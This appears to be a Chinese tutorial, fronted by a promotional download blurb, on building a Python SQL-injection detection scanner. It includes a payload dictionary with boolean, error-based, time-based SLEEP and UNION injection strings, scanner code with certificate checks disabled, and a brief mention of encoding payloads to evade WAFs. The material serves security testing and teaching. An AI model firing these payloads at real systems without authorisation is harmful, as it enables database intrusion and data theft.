简介:一款面向Python安全入门和课程设计场景的自动化SQL注入检测工具,以完整源码与配套文档为核心,解决Web安全测试中手工检测SQL注入效率低、流程繁琐的问题。包内共有12个文件,其中7个Python脚本分别构成主程序及布尔盲注、时间盲注、自动注入、请求参数提取、站点获取、邮件通知等模块,另有shell启动脚本、自定义规则文件、目标站点列表文本、说明文档和pyc缓存文件,整个zip仅35KB,结构清晰,部署简单,便于按需修改和二次学习。代码注释详细,关键检测逻辑配有说明,新手也能看懂注入判断思路;下载后简单配置即可运行,适合作为期末大作业、课程设计或安全测试入门的高分参考。目前已有182人学习下载,整体模块划分明确,从注入判断、参数提取到结果展示均有完整呈现,适合作为课程设计与安全测试入门的高性价比参考。
1. 自动化SQL注入检测:把手工注入测试搬进定时任务
SQL注入在安全测试报告里出现时,往往伴随一大堆手工测试截图。我做接口安全巡检最烦的是反复给同一个登录接口拼 payload——先试单引号看报错,再试 and 1=1 与 and 1=2 比对响应差异,最后还要根据数据库类型换注释符。这套动作完全机械化,漏一步就可能漏掉一个注入点。基于 Python 的自动化 SQL 注入检测工具,本质就是把这段手工测试流程写成脚本:构造注入载荷、发起请求、比对响应、输出判定。我按自己实际做过的方案,把这一类工具的设计思路、核心代码和踩坑记录讲清楚。适合刚接触 Web 安全的 Python 开发,也适合需要把安全巡检做成定时任务的测试和运维同学。
2. 检测工具的判定内核:SQL注入原理怎么翻译成Python规则
2.1 从SQL注入原理到检测规则的映射
SQL注入的根因是程序把用户输入直接拼进SQL语句,没有做参数化处理。攻击者通过闭合引号、注释掉剩余语句、联合查询等手段,改变原始SQL的语义。自动化检测工具要做的事,就是把"尝试改变SQL语义并观察响应变化"这个过程固化下来。
用Python实现时,这个流程可以拆成四步:构造带注入载荷的请求、发送请求、捕获响应、记录结果。下面是最小的流程骨架:
# 检测流程的四步骨架 import requests def scan(target_url, param_name, payloads): results = [] for payload in payloads: # 1. 构造带注入载荷的请求参数 params = {param_name: payload} # 2. 发送请求并捕获响应 try: resp = requests.get(target_url, params=params, timeout=10) except requests.exceptions.RequestException as e: # 3. 请求异常时记录但不中断 results.append({"payload": payload, "error": str(e)}) continue # 4. 记录响应状态码、长度与关键内容 results.append({ "payload": payload, "status": resp.status_code, "length": len(resp.content), "content": resp.text[:200] }) return results这段代码的四个步骤对应检测工具的核心时序:构造、发送、捕获、记录。注意这里故意没有做判定,先拿到原始响应数据再统一分析,避免在循环里反复处理文本导致逻辑混乱。超时设置在10秒,对大多数Web应用足够,但对慢速接口要调大,后面避坑章节会细说。
把原理映射成规则,关键不是背payload,而是理解payload为什么能改变SQL语义。比如' OR '1'='1就是SQL注入里典型的万能密码绕过写法,它能绕过登录密码,是因为它把WHERE条件变成恒真式WHERE username='admin' AND password='' OR '1'='1',数据库读到的条件恒真,于是返回第一条用户记录。检测工具报"命中",实际是在说"这个参数点的输入改变了后端SQL的执行结果"。练手阶段可以直接用bugku这类CTF靶场,靶场里的注入关卡就是为这些检测规则设计的,用工具跑一遍再手工验证一遍,对理解原理特别有帮助。
2.2 三类注入点的特征与请求构造差异
注入点按参数类型和位置分,特征差异很大。我经常用下面这张表来组织检测规则:
| 注入点类型 | 典型位置 | 特征 | 首个测试payload |
|---|---|---|---|
| 数字型 | id=1、page=2 | 参数值直接参与数值运算,不需要引号 | 1 and 1=1、1 and 1=2 |
| 字符型 | username=admin | 参数被单引号包裹,需要闭合引号 | admin' and '1'='1 |
| 搜索型 | keyword=手机 | 可能使用LIKE模糊查询,闭合方式特殊 | 手机%' and '1'='1 |
这个区分在自动化工具里直接影响payload构造。数字型注入点如果也发字符型payload,很可能因为后端把字符串硬转成数字而返回0或报错,产生大量误报。我一般会把同类参数归成一组,按类型套用不同的payload模板。
另外还有参数位置的区别:GET参数在URL里,POST参数在请求体里,Cookie和Header里也可能存在注入点。一个成熟的检测工具不能只扫GET,也要覆盖POST表单和JSON体。requests库处理这些很方便,构造方式不同但判定逻辑完全一致:
def build_request(url, method, params, data): """按请求方式构造不同的请求""" if method.upper() == "GET": return requests.get(url, params=params, timeout=10) elif method.upper() == "POST": # 表单提交 return requests.post(url, data=data, timeout=10) elif method.upper() == "JSON": # JSON体提交,很多接口用这种方式 return requests.post(url, json=data, timeout=10)POST表单和JSON体的差异在于数据序列化方式,requests的data参数会做表单编码,json参数会自动做JSON序列化。如果目标接口要求JSON提交,而工具用了表单编码,后端可能直接返回415或解析失败,这是很常见的翻车点。
2.3 响应比对策略:绝对匹配还是启发式评分
拿到响应之后,怎么判断这个payload是不是触发了注入?常见做法是基于特征比对,而特征比对的粒度决定了误报率。
最直观的策略是关键词匹配:在响应内容里搜索SQL报错特征,比如mysql_fetch_array、Warning: pg_query、SQLSTATE、Unclosed quotation mark。这种方式对错误型注入有效,对盲注完全无效,因为盲注的响应看起来和正常请求没有区别。另一种策略是长度比对:对布尔型注入,用and 1=1和and 1=2两组请求对比响应长度,显著差异说明条件分支生效,可能是注入点。还有时间差策略,对SLEEP(5)这样的payload,比较响应耗时与基线耗时。
我用过一个相对平衡的启发式评分方法,把多个维度的特征加权累加,超过阈值才判定命中。这种方法比单一特征稳定,但需要给权重,初期不好调。对于"确保可用"的工具,我更推荐先用确定性匹配打底:状态码变化、响应长度固定差异、关键词出现、时间延迟超过阈值,这些特征单独列出,任何一个命中都记一条"可疑",多个维度同时命中才记"高危",人工再看报告做最终确认。工具的价值是缩小排查范围,不是替代人的判断。
3. 用Python写一个可运行的注入检测器:请求、载荷与判定
3.1 最小骨架:requests会话与目标URL配置
写自动化检测工具,第一件事是把请求会话建立起来。很多目标站需要登录态,所以我会用requests.Session()保持Cookie。目标URL不能写死在代码里,应该放到配置文件或命令行参数里,这样工具才有复用价值。
# detector.py 最少可运行版本 import requests import time import urllib3 # 关闭不安全HTTPS证书警告,测试环境很多证书是自签的 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class InjectionScanner: def __init__(self, base_url, session=None, timeout=10): self.base_url = base_url.rstrip("/") # 会话复用:保持登录Cookie,避免每请求都重新认证 self.session = session or requests.Session() self.timeout = timeout self.results = [] def get(self, params): """带超时与重试的GET请求""" for attempt in range(2): try: resp = self.session.get( self.base_url, params=params, timeout=self.timeout, verify=False # 自签证书场景 ) return resp except requests.exceptions.Timeout: # 超时可能是注入触发的SLEEP,记录耗时但不中断 if attempt == 1: return None time.sleep(1) return None这个骨架里,base_url、timeout都是可配置的,verify=False省去证书校验的麻烦。session对象外部传入,可以预先登录再扫描,也可以从浏览器复制Cookie注入。注意超时重试只做一次,避免注入触发SLEEP时工具自己先被卡死。
参数说明:timeout控制单次请求等待时间,实网扫描建议10~15秒;verify=False必须配合禁用警告,否则控制台会被证书警告刷屏。目标URL带不带末尾斜杠影响拼接结果,所以用rstrip("/")统一格式。
3.2 注入载荷字典与payload生成逻辑
payload是检测工具的弹药库。我习惯把payload按类型组织成字典,而不是一个大列表,这样在报告里能直接看出命中类型。下面是按注入类型分组的载荷字典:
# payloads.py 载荷字典 PAYLOADS = { "bool_true": [ "1' AND '1'='1", "1 AND 1=1", "1' OR '1'='1' -- -", ], "bool_false": [ "1' AND '1'='2", "1 AND 1=2", "1' OR '1'='2' -- -", ], "error_based": [ "1' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e)) -- -", "1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) -- -", ], "time_based": [ "1' AND SLEEP(5) -- -", "1' OR SLEEP(5) -- -", "1 AND SLEEP(5)", ], "union_select": [ "1' UNION SELECT NULL-- -", "1' UNION SELECT NULL,NULL-- -", "1' UNION SELECT NULL,NULL,NULL-- -", ], }生成payload时,要区分参数原来是否带引号。如果原参数值是admin,直接用admin' AND '1'='1;如果原参数是数字1,用1 AND 1=1。粗暴地对所有参数套同一个模板,会漏掉一半以上的注入点。我一般会根据参数名和已知类型做映射,参数名含id、page、num的按数字型处理,含name、user、keyword的按字符型处理。
注释符-- -后面必须带一个空格或控制字符,否则MySQL会忽略注释,导致payload失效。这个细节不写注释很容易被忽略,很多手写payload因为注释符少了尾随空格就是打不穿。
3.3 布尔盲注判定函数与时间盲注阈值设定
判定函数是工具的灵魂。布尔盲注的核心判断是"真条件与假条件的响应存在稳定差异",我用的是响应长度加内容哈希的双重校验:
def check_bool_blind(self, url, param, true_payload, false_payload): """布尔盲注判定:比较真/假条件的响应差异""" # 先取正常请求的响应作为基线 baseline_len = len(self.get({param: "1"}).content) true_len = len(self.get({param: true_payload}).content) false_len = len(self.get({param: false_payload}).content) if true_len == 0 or false_len == 0: return False # 真/假响应长度差异显著,且与基线不同,判定为可疑注入 diff_ratio = abs(true_len - false_len) / max(true_len, false_len, 1) return diff_ratio > 0.1 def check_time_blind(self, url, param, payload, threshold=5.0): """时间盲注判定:响应耗时是否显著超过threshold""" start = time.time() resp = self.get({param: payload}) elapsed = time.time() - start # payload内置SLEEP(n),若耗时超过 n*0.8 则认为SLEEP被执行 return elapsed > threshold * 0.8 and resp is not None布尔盲注里,diff_ratio阈值0.1表示真/假响应长度偏差超过10%即判定命中。这个值不能太小,否则正常业务里参数值偶尔不同也会触发误报。时间盲注的阈值0.8是给SLEEP函数的执行时间留了缓冲,如果网络本身延迟就高,这个系数要往下调,否则误报会增多。我在实网跑的时候,还会额外对比一个不包含SLEEP的空白请求的耗时作为基线,动态计算阈值,比写死5秒更抗网络波动。
4. 让工具真正"确保可用":依赖环境、参数调优与报告输出
4.1 从源码到运行:依赖清单与Python版本选择
拿到一份标着"确保可用"的源代码,先别急着跑。我一般按三步走:先读文档说明里的环境要求,再核对Python版本与依赖库,最后用一个最简单的目标URL跑通冒烟测试。Python版本建议3.8以上,requests和urllib3是核心依赖。不要用Python 2,很多字符串处理和SSL库在2上都有兼容问题。安装依赖只需要一条命令:
pip install requests urllib3如果内网装不了pip包,有一个离线方案:把requests和urllib3的wheel文件下载到本地,用pip install --no-index --find-links=./offline_pkg requests安装。另外,扫描HTTPS目标时证书链不完整也会影响连接,Python 3.8以上自带的ssl模块一般够用。
运行源码之前,先检查Python版本和requests库是否正常:
python --version python -c "import requests; print(requests.__version__)"这两条命令能过滤掉八成"代码明明没问题但跑不起来"的情况。版本不对的先升级,python -m pip install --upgrade pip requests是常见做法。文档说明里如果写了环境变量或配置文件,也在这个阶段一次性确认,别等跑出诡异报错再回头翻。
4.2 扫描配置详解:并发、超时与目标范围
并发控制是自动化工具必须做的。无脑开几十个线程去打目标,先不说目标会不会挂,检测方自己先被socket占用耗尽,而且很容易触达WAF的封禁阈值。我用比较保守的参数:并发线程数默认3,每个目标串行跑同一组payload,目标之间并行。
# config.py 扫描配置 SCAN_CONFIG = { "concurrency": 3, # 并发线程数,按目标分配 "timeout": 10, # 单请求超时(秒) "retries": 1, # 请求失败重试次数 "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", # 伪装浏览器UA "delay": 0.5, # 每个payload之间的间隔(秒) "max_targets": 20, # 单次扫描最多目标数 }delay参数是请求间隔,用0.5秒是为了不让工具变成打请求的钻头,既保护目标也保护检测方的IP不被封。如果扫内网测试环境,delay可以改成0或0.1。user_agent一定要伪装,很多框架对无UA的请求直接返回403,误报率会飙升。
目标范围的限定也很关键。工具应该接受一个URL列表文件,每行一个目标,格式形如http://192.168.1.10/login.php?id=1。不要做全站爬虫,那是另一类工具的事,注入检测器的定位是在已知URL上做深度测试。我一般会用如下方式读取目标:
# targets.txt 每行一个目标URL with open("targets.txt", "r", encoding="utf-8") as f: targets = [line.strip() for line in f if line.strip()]注意targets文件里不要带空格和换行,程序不会替你做清洗。每个目标带完整的参数路径,工具只负责替换参数值,不负责发现参数。写targets文件时,注释行不要用井号开头,直接删掉就好,免得解析出多余空串。
4.3 报告输出:从控制台到结构化文件
检测结果要可追溯,纯控制台打印根本没法做后续分析,也没法对接告警。我会把结果同时输出到控制台和JSON文件,JSON结构方便对接后端的告警平台或定时任务系统。
# report.py 结果导出 import json import csv from datetime import datetime def export_report(results, file_prefix="scan_report"): """导出JSON和CSV双格式报告""" timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") json_file = f"{file_prefix}_{timestamp}.json" csv_file = f"{file_prefix}_{timestamp}.csv" with open(json_file, "w", encoding="utf-8") as f: json.dump(results, f, ensure_ascii=False, indent=2) with open(csv_file, "w", newline="", encoding="utf-8-sig") as f: writer = csv.DictWriter(f, fieldnames=["url", "param", "payload", "level", "evidence"]) writer.writeheader() for r in results: writer.writerow({ "url": r.get("url"), "param": r.get("param"), "payload": r.get("payload"), "level": r.get("level"), "evidence": r.get("evidence", "")[:500] }) return json_file, csv_fileJSON用utf-8带缩进,中文不会乱码;CSV用utf-8-sig是因为Excel打开不带BOM的UTF-8会乱码,这是血泪经验。evidence字段只存前500字符,防止把整页HTML塞进报告导致文件膨胀。
报告里每条命中记录应该包含五要素:目标URL、注入参数名、触发的payload、命中级别(可疑/高危)、证据(响应片段或耗时数据)。盯报告的时候凭这五要素就能快速判断是否需要人工复核,不需要再抓包。
5. 自动化注入检测避坑记录:误报、WAF与频控的5个典型问题
5.1 现象:响应长度类payload全部命中,误报率飙升
现象:布尔盲注判定函数对某个参数返回了大量"高危",真条件和假条件的响应长度差异达到30%以上,但手工用sqlmap验证时发现根本不是注入点。
原因:目标接口的响应是动态的,比如页面带了时间戳、随机token、广告位内容。第一次请求和第二次请求的响应长度天然就不同,差异不是来自SQL分支,而是来自动态内容。布尔盲注的比较逻辑被动态内容干扰。
解决:把"响应长度差异"从绝对差异改成"核心内容哈希差异"。提取响应中去掉时间戳和随机数的静态部分(比如HTML结构体),对比结构体是否变化。另外增加重复验证机制:对同一组true/false payload各请求两次,只有两次的差异方向一致才判定命中。这样能过滤掉大部分由于内容抖动带来的误报。
5.2 现象:WAF拦截页被当成注入成功
现象:对某目标发送' OR 1=1 -- -后,响应状态码变成403,响应正文出现"请求被拦截"之类的关键词。工具把403和关键词当成了注入成功的证据,报"高危"。
原因:WAF在检测到攻击特征后直接拦截请求,返回的是拦截提示页,不是业务响应。工具只看状态码和关键词,没有区分"业务处理后的响应"和"网关拦截页"。
解决:在判定逻辑里增加"拦截页指纹库"。预先录入常见WAF产品的拦截页特征关键词,响应正文命中这些关键词时,不再做注入判定,而是标注"WAF blocked"。同时,payload的编码方式也要调整,比如用URL全编码、注释符内联等方式让请求通过WAF的规则匹配,但这属于对抗思路,对已授权的渗透测试可以做,对常规巡检不建议。我一般会把这些请求标记为"被WAF拦截",报告里单独列一类,不混入注入结果。
5.3 现象:时间盲注检测在目标正常时集体超时
现象:工具对没有任何注入点的目标也报了十几条"时间盲注命中",每条的响应耗时都在6秒以上。
原因:两个可能。一是目标服务端本身响应慢,静态资源加载或慢SQL导致基础延迟就超过payload里的SLEEP时间。二是网络链路不稳定,超时重试机制让请求重复发送,累计耗时看起来像SLEEP生效。
解决:时间盲注不能只用绝对耗时判断,要对比基线。做法是先发3个不带payload的普通请求,取平均响应耗时作为基线,然后用elapsed_time / baseline_time的比值来判定,比值超过3且绝对耗时大于payload中的SLEEP值,才判定命中。这样就隔离了网络延迟的影响。基线的计算要在每次扫描开始前动态获取,不要用配置文件里的静态值。
这里有几个参数经验值:网络内网环境基线比阈值设为2.0~3.0,公网要设为4.0以上;payload里的SLEEP值建议固定在5秒,不要用1秒或2秒,太短的延迟会被网络抖动淹没。
5.4 现象:登录接口验证码阻断自动化测试
现象:扫描登录接口时,payload打进去了但响应始终是"验证码错误",工具报了大量"无命中",实际上是因为请求根本没到SQL执行层。
原因:登录接口有图形验证码或滑块验证,自动化工具无法通过验证码,请求在到达业务逻辑前就被拦截了。
解决:有三种思路。第一种,扫描前先通过配置项把验证码功能关闭(测试环境常见做法);第二种,从浏览器里取出有效的Cookie和验证码会话,让工具的session携带这个会话去扫;第三种,只对登录接口做基于时间盲注的检测,因为时间盲注不需要看业务响应内容,只要请求能到达SQL层并触发SLEEP就能命中。实际上,一个登录接口如果连验证码都没有,它本身就值得多测几遍。
我在工具里专门加了"登录接口模式",该模式下跳过布尔盲注和错误型注入的关键词比对,只保留时间盲注和响应耗时统计,避免验证码页面对判定的干扰。
5.5 现象:HTTP状态码与业务码混淆
现象:目标接口对登录失败返回200,对业务异常也返回200,对所有请求都返回200,工具按状态码判断响应异常的逻辑全部失效。
原因:很多Web应用采用"全局200"策略,HTTP状态码永远返回200,真正的业务错误放在响应体里的code字段(如{"code": 5001, "msg": "参数错误"})。工具如果拿HTTP状态码当判定依据,等于用一把失效的尺子量东西。
解决:把判定依据从状态码切换为业务码解析。在工具里配置一个可选的业务码提取器:
def extract_business_code(resp_text): """从JSON响应体内提取业务code""" import json try: data = json.loads(resp_text) return data.get("code") or data.get("status") or data.get("retCode") except (json.JSONDecodeError, AttributeError): return None然后在比对逻辑里,优先使用业务码。布尔注入的true/false条件如果能让业务码产生差异,即便HTTP状态码都是200,也能准确判定。这一条很隐蔽,我早期吃过亏,后来所有工具默认先探测响应类型,再决定用什么字段做判定基准。
6. 把检测工具升级成持续巡检:从单次扫描到验证闭环
单次扫描只能证明"此刻这个接口存在可疑注入",要真正做到"确保可用",需要把工具接入日常巡检流程。做法是让工具接受crontab调度,每天凌晨跑一次,结果落到JSON文件和日志,再用一个简单的脚本把新增的高危记录推送到企业微信或钉钉机器人。推送消息只需要URL、参数、payload和级别四要素,不需要把报告全文发过去。响应里的payload要做truncate和转义,避免消息被网关拦截。
定时巡检跑起来之后,验证环节不能省。我习惯在每次生成报告后,把"高危"级别的前三条拼接成一条手工复测命令,打印到控制台。比如:
python detector.py -u "http://192.168.1.10/login.php" -p "username" -l high这条命令能快速复现检测结果,方便开发同学直接在浏览器里验证。复测时多用带引号的原始payload,避免工具内置的编码转换掩盖真实问题。如果复测确认无误,再按漏洞管理流程修复。发现可疑注入后,修复方向也顺带说一下:后端全部改成参数化查询或预编译语句,这是sql注入原理及防护里最基础也确实有效的做法。工具能帮你定位漏洞点,但堵住它要靠开发侧的改造。
另外,工具的payload字典应该定期补充。数据库版本在变,WAF规则在变,固定一套payload跑半年,漏报率会越来越高。我每季度会从公开的注入测试案例中抽取新的payload模板,加到字典里跑一遍回归,对比之前的结果看有没有新增命中。这算是工具维护的日常功夫。
最后说一个我自己的习惯:任何自动化注入检测工具的输出,我都默认先当"候选"再看一遍,不直接出结论。这不算对工具不信任,而是注入检测的黑匣子效应太强——一个误报可能浪费开发一下午,一个漏报可能让漏洞在线上躺一个月。有了自动化工具替你缩小范围,人工复核的成本已经低很多了。希望帮到你。
本文还有配套的精品资源,点击获取